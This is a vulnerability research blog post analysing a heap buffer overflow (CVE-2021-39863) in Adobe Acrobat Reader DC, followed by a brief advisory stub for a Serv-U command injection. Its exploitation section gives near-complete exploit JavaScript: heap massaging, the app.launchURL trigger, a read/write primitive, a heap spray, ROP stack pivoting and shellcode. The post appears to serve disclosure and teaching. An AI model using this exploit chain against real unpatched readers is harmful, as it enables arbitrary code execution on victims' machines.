🔒
There are new articles available, click to refresh the page.
Before yesterdayExodus Intelligence

Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC

4 October 2021 at 13:52

By Sergi Martinez

In late June, we published a blog post containing analysis of exploitation of a heap-buffer overflow vulnerability in Adobe Reader, a vulnerability that we thought corresponded to CVE-2021-21017. The starting point for the research was a publicly posted proof-of-concept containing root-cause analysis. Soon after publishing the blog post, we learnt that the CVE was not authoritative and that the publicly posted proof-of-concept was an 0day, even if the 0day could not be reproduced in the patched version. We promptly pulled the blog post and began investigating.

Further research showed that the vulnerability continued to exist in the latest version and was exploitable with only a few changes to our exploit. We reported our findings to Adobe. Adobe assigned CVE-2021-39863 to this vulnerability and released an advisory and patched versions of their products on September 14th, 2021.

Since the exploits were very similar, this post largely overlaps with the blog post previously removed. It analyzes and exploits CVE-2021-39863, a heap buffer overflow in Adobe Acrobat Reader DC up to and including version 2021.005.20060.

This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.

Overview

A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.

CVE-2021-39863

Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.

The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.

__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
  __int16 v5; // di
  wchar_t *v6; // ebx
  CHAR *v7; // eax
  CHAR v8; // dl
  __int64 v9; // rax
  wchar_t *v10; // ecx
  __int64 v11; // rax
  int v12; // eax
  int v13; // eax
  int v14; // eax

[Truncated]

  v77 = 0;
  v76 = 0;
  v5 = 1;
  *(_QWORD *)v78 = 0i64;
  *(_QWORD *)iMaxLength = 0i64;
  v6 = 0;
  v49 = 0;
  v62 = 0;
  v74 = 0;
  if ( !a5 )
    return 0;
  *a5 = 0;
  v7 = lpString;

[1]

  if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
  {

[2]

    v9 = sub_2581890C(lpString);
    v78[1] = v9;
    if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
    {
LABEL_9:
      *a5 = -2;
      return 0;
    }
    v7 = lpString;
  }
  else
  {

[3]

    v78[1] = v78[0];
  }
  v10 = Source;
  if ( !Source || !v7 || !String || !a4 )
  {
    *a5 = -2;
    goto LABEL_86;
  }

[4]

  if ( *(_BYTE *)Source != 0xFE )
    goto LABEL_25;
  if ( *((_BYTE *)Source + 1) == 0xFF )
  {
    v11 = sub_2581890C(Source);
    iMaxLength[1] = v11;
    if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
      goto LABEL_9;
    v10 = Source;
    v12 = iMaxLength[1];
  }
  else
  {
    v12 = iMaxLength[0];
  }

[5]

  if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
  {
    v13 = v12 + 2;
  }
  else
  {
LABEL_25:
    v14 = sub_25802A44((LPCSTR)v10);
    v10 = v37;
    v13 = v14 + 1;
  }
  iMaxLength[1] = v13;

[6]

  v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
  v77 = v15;
  if ( !v15 )
  {
    *a5 = -7;
    return 0;
  }

[7]

  sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);

[8]

  if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
  {
    v17 = v78[1] + 2;
  }
  else
  {
    v18 = sub_25802A44(lpString);
    v16 = v39;
    v17 = v18 + 1;
  }
  v78[1] = v17;

[9]

  v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
  v76 = v19;
  if ( !v19 )
  {
    *a5 = -7;
LABEL_86:
    v5 = 0;
    goto LABEL_87;
  }

[10]

  sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
  if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
    goto LABEL_86;

[11]

  v20 = sub_25802400(v77, v42);
  if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
  {
    *a5 = v20;
    goto LABEL_86;
  }
  if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
  {
    v35 = sub_25802FAC(v50);
    v23 = a4;
    v24 = v35 + 1;
    if ( v35 + 1 > *a4 )
      goto LABEL_44;
    *a4 = v35;
    v25 = v50;
    goto LABEL_82;
  }
  if ( *lpString )
  {
    v26 = v55;
    v63[1] = v42[1];
    v63[2] = v42[2];
    v27 = v51;
    v63[0] = v42[0];
    v73 = 0i64;
    if ( !v51 && !v53 && !v55 )
    {
      if ( (unsigned __int16)sub_25803155(v50) )
      {
        v28 = v44;
        v64 = v42[3];
        v65 = v42[4];
        v66 = v42[5];
        v67 = v42[6];
        v29 = v43;
        if ( v49 == 1 )
        {
          v29 = v43 + 2;
          v28 = v44 - 1;
          v43 += 2;
          --v44;
        }
        v69 = v28;
        v68 = v29;
        v70 = v45;
        if ( v58 )
        {
          if ( *v59 != 47 )
          {

[12]

            v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
            if ( !v6 )
            {
              v23 = a4;
              v24 = v58 + v46 + 1;
              goto LABEL_44;
            }
            if ( v46 )
            {

[13]

              sub_25802D98(v41, v6, v47, v46 + 1);
              if ( *((_BYTE *)v6 + v46 - 1) != 47 )
              {
                v31 = sub_25818D6E(v30, (char *)v6, 47);
                if ( v31 )
                  *(_BYTE *)(v31 + 1) = 0;
                else
                  *(_BYTE *)v6 = 0;
              }
            }
            if ( v58 )
            {

[14]

              v32 = sub_25802A44((LPCSTR)v6);
              sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
            }
            sub_25802E0C(v6, 0);
            v71 = sub_25802A44((LPCSTR)v6);
            v72 = v6;
            goto LABEL_75;
          }
          v71 = v58;
          v72 = v59;
        }

[Truncated]

LABEL_87:
  if ( v77 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
  if ( v76 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
  if ( v6 )
    (*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
  return v5;
}

The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.

IA32!PlugInMain+0x168b0:
63ee7d70 55              push    ebp
0:000> dd poi(esp+4) L84
093499c8  7468fffe 3a737074 6f672f2f 656c676f
093499d8  6d6f632e 4141412f 41414141 41414141
093499e8  41414141 41414141 41414141 41414141
093499f8  41414141 41414141 41414141 41414141

[Truncated]

09349b98  41414141 41414141 41414141 41414141
09349ba8  41414141 41414141 41414141 41414141
09349bb8  41414141 41414141 41414141 2f2f3a41
09349bc8  00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8  "..https://google.com/AAAAAAAAAAA"
093499e8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48  "AAAA"
0:000> dd poi(esp+8)
0b943ca8  61616262 61616161 61616161 61616161
0b943cb8  61616161 61616161 61616161 61616161
0b943cc8  61616161 61616161 61616161 61616161
0b943cd8  61616161 61616161 61616161 61616161
0b943ce8  61616161 61616161 61616161 61616161
0b943cf8  61616161 61616161 61616161 61616161
0b943d08  61616161 61616161 61616161 61616161
0b943d18  61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8  "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[Truncated]

0b943da8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.

At [1] a check is made to ascertain whether the second parameter (i.e. the base URL) is a valid Unicode UTF-16BE encoded string. If it is valid, the length of that string is calculated at [2] and stored in v78[1]. If it is not a valid UTF-16BE encoded string, v78[1] is set to 0 at [3]. The function that calculates the Unicode string length, sub_2581890C(), performs additional checks to ensure that the string passed as a parameter is a valid UTF-16BE encoded string. The following listing shows the decompiled code of this function.

int __cdecl sub_2581890C(char *a1)
{
  char *v1; // eax
  char v2; // cl
  int v3; // esi
  char v4; // bl
  char *v5; // eax
  int result; // eax

  v1 = a1;
  if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
    goto LABEL_12;
  v2 = 0;
  v3 = 0;
  do
  {
    v4 = *v1;
    v5 = v1 + 1;
    if ( !v5 )
      break;
    v2 = *v5;
    v1 = v5 + 1;
    if ( !v4 )
      goto LABEL_10;
    if ( !v2 )
      break;
    v3 += 2;
  }
  while ( v1 );
  if ( v4 )
    goto LABEL_12;
LABEL_10:
  if ( !v2 )
    result = v3;
  else
LABEL_12:
    result = -1;
  return result;
}

The code listed above returns the length of the UTF-16BE encoded string passed as a parameter. Additionally, it implicitly performs the following checks to ensure the string has a valid UTF-16BE encoding:

  • The string must terminate with a double null byte.
  • The words composing the string that are not the terminator must not contain a null byte.

If any of the checks above fail, the function returns -1.

Continuing with the first function mentioned in this section, at [4] the same checks already described are applied to the first parameter (i.e. the relative URL). At [5] the length of the Source variable (i.e. the base URL) is calculated taking into account its encoding. The function sub_25802A44() is an implementation of the strlen() function that works for both Unicode and ANSI encoded strings. At [6] an allocation of the size of the Source variable is performed by calling the function sub_25802CD5(), which is an implementation of the known calloc() function. Then, at [7], the contents of the Source variable are copied into this new allocation using the function sub_25802D98(), which is an implementation of the strncpy function that works for both Unicode and ANSI encoded strings. These operations performed on the Source variable are equally performed on the lpString variable (i.e. the relative URL) at [8], [9], and [10].

The function at [11], sub_25802400(), receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.

At [12] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [11]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.

eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55              push    ebp
0:000> dd esp+4 L1
010fd0e8  00000001
0:000> dd esp+8 L1
010fd0ec  00002600

Afterwards, at [13] the base URL is copied into the memory allocated to host the concatenation and at [14] its length is calculated and provided as a parameter to the call to sub_25818C6A. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [14] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.

int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
  int result; // eax
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !Destination || !Source || !a3 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[15]

  pExceptionObject = sub_25802A44(Destination);
  if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
  {

[16]

    sub_258189D6(Destination, Source);
    result = 1;
  }
  else
  {

[17]

    strncat(Destination, Source, a3 - pExceptionObject - 1);
    result = 0;
    Destination[a3 - 1] = 0;
  }
  return result;
}

In the above listing, at [15] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_258189D6 is called at [16]. Otherwise the strncat function at [17] is called.

The function sub_258189D6 called at [16] implements the actual string concatenation that works for both Unicode and ANSI strings.

LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
  int v3; // eax
  LPCSTR v4; // edx
  CHAR *v5; // ecx
  CHAR v6; // al
  CHAR v7; // bl
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !lpString1 || !lpString2 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[18]

  if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
  {

[19]

    v3 = sub_25802A44(lpString1);
    v4 = lpString2 + 2;
    v5 = &lpString1[v3];
    do
    {
      do
      {
        v6 = *v4;
        v4 += 2;
        *v5 = v6;
        v5 += 2;
        v7 = *(v4 - 1);
        *(v5 - 1) = v7;
      }
      while ( v6 );
    }
    while ( v7 );
  }
  else
  {

[20]

    lstrcatA(lpString1, lpString2);
  }
  return lpString1;
}

In the function listed above, at [18] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [19]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called at [20].

It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. 

Adobe Acrobat Reader DC version 2021.005.20048 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)

The exploit does not bypass the following protection mechanisms:

  • Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.

In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:

  1. Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
  2. Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
  3. Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
  4. Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
  5. If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
  6. Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
  7. To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
  8. Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
  9. Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
  10. Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Preparing the Heap Layout

The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.

The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.

In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.

Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.

The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.

function massageHeap() {

[1]

    var arrayBuffers = new Array(0xd+0x11);
    for (var i = 0; i < arrayBuffers.length; i++) {
        arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
        var dv = new DataView(arrayBuffers[i]);
    }

[2]

    var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
        arrayBuffers[i] = null;
    }


[3]

    var strings = new Array(0xe+0x11);
    var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
    for (var i = 0; i < strings.length; i++) {
        strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
    }


[4]

    var holeDistance = (strings.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= strings.length; i += holeDistance) {
        strings[i] = null;
    }

    return arrayBuffers;
}

In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.

At [3] and [4] the same steps are done with the allocated strings.

Triggering the Vulnerability

Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the Code Analysis section of this post.

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}

The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.

Obtaining an Arbitrary Read / Write Primitive

When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.

In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.

The following function implements the process described in this subsection.

function getArbitraryRW(arrayBuffers) {

[1]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
            var dv = new DataView(arrayBuffers[i]);
            dv.setUint32(0x25f0+0xc, 0xffffffff, true);
        }
    }

[2]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
            var rw = new DataView(arrayBuffers[i]);
            corruptedBuffer = arrayBuffers[i];
        }
    }

[3]

    if (rw) {
        var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
        var chunkSize = 0x25f0+0x10+8;

        var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
        var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);

        startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
        return rw;
    }
    return rw;
}

The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.

Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.

function readUint32(dataView, absoluteAddress) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Spraying ArrayBuffer Objects

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

function sprayHeap() {
    var heapSegmentSize = 0x10000;

[1]

    heapSpray = new Array(0x8000);
    for (var i = 0; i < 0x8000; i++) {
        heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
        var tmpDv = new DataView(heapSpray[i]);
        tmpDv.setUint32(0, 0xdeadbabe, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.

These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.

Hijacking the Execution Flow and Executing Arbitrary Code

With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow  execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following functions are used in the implementation of the mentioned strategy.

[1]

function getAddressLeaks(rw) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var escriptAddrDelta = 0x275518;
    var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;

    var kernel32BaseDelta = 0x273eb8;
    var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);

    return [escriptAddr, kernel32Addr];
}
 
[2]

function prepareNewStack(kernel32Addr) {

    var virtualProtectStubDelta = 0x20420;
    writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);

    var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
        0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
        0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
        0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
        0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
        0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
        0x00000000]


[3]

    var shellcode_size = shellcode.length * 4;
    writeUint32(rw, newStackAddr + 4 , startAddr);
    writeUint32(rw, newStackAddr + 8, startAddr);
    writeUint32(rw, newStackAddr + 0xc, shellcode_size);
    writeUint32(rw, newStackAddr + 0x10, 0x40);
    writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);

[4]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(rw, startAddr+i*4, shellcode[i]);
    }

}

function hijackEIP(rw, escriptAddr) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var dvShape = readUint32(rw, dataViewObjPtr);
    var dvShapeBase = readUint32(rw, dvShape);
    var dvShapeBaseClasp = readUint32(rw, dvShapeBase);

    var stackPivotGadgetAddr = 0x2de29 + escriptAddr;

    writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);

    var foo = rw.execFlowHijack;
}

In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].

Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.

The stack pivot gadget used is from the EScript.api module, and is listed below:

0x2382de29: mov esp, 0x5d0013c2; ret;

When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.

Conclusion

We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

SolarWinds Serv-u File Server Command Injection

27 September 2021 at 08:57

EIP-2020-0032

The Serv-U File Server supports site specific commands which may not be universally supported by all FTP clients. Among these is the SITE EXEC command which allows a user to execute programs and scripts remotely, if the execute permission is present on the folder where a given program / script resides. A command injection vulnerability exists in this functionality due to improper sanitization of user-supplied parameters provided to the ShellExecuteExW routine. Successful exploitation results in arbitrary command execution under the context of the file server.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2019-0032
  • MITRE CVE: CVE-2021-35223

Vulnerability Metrics

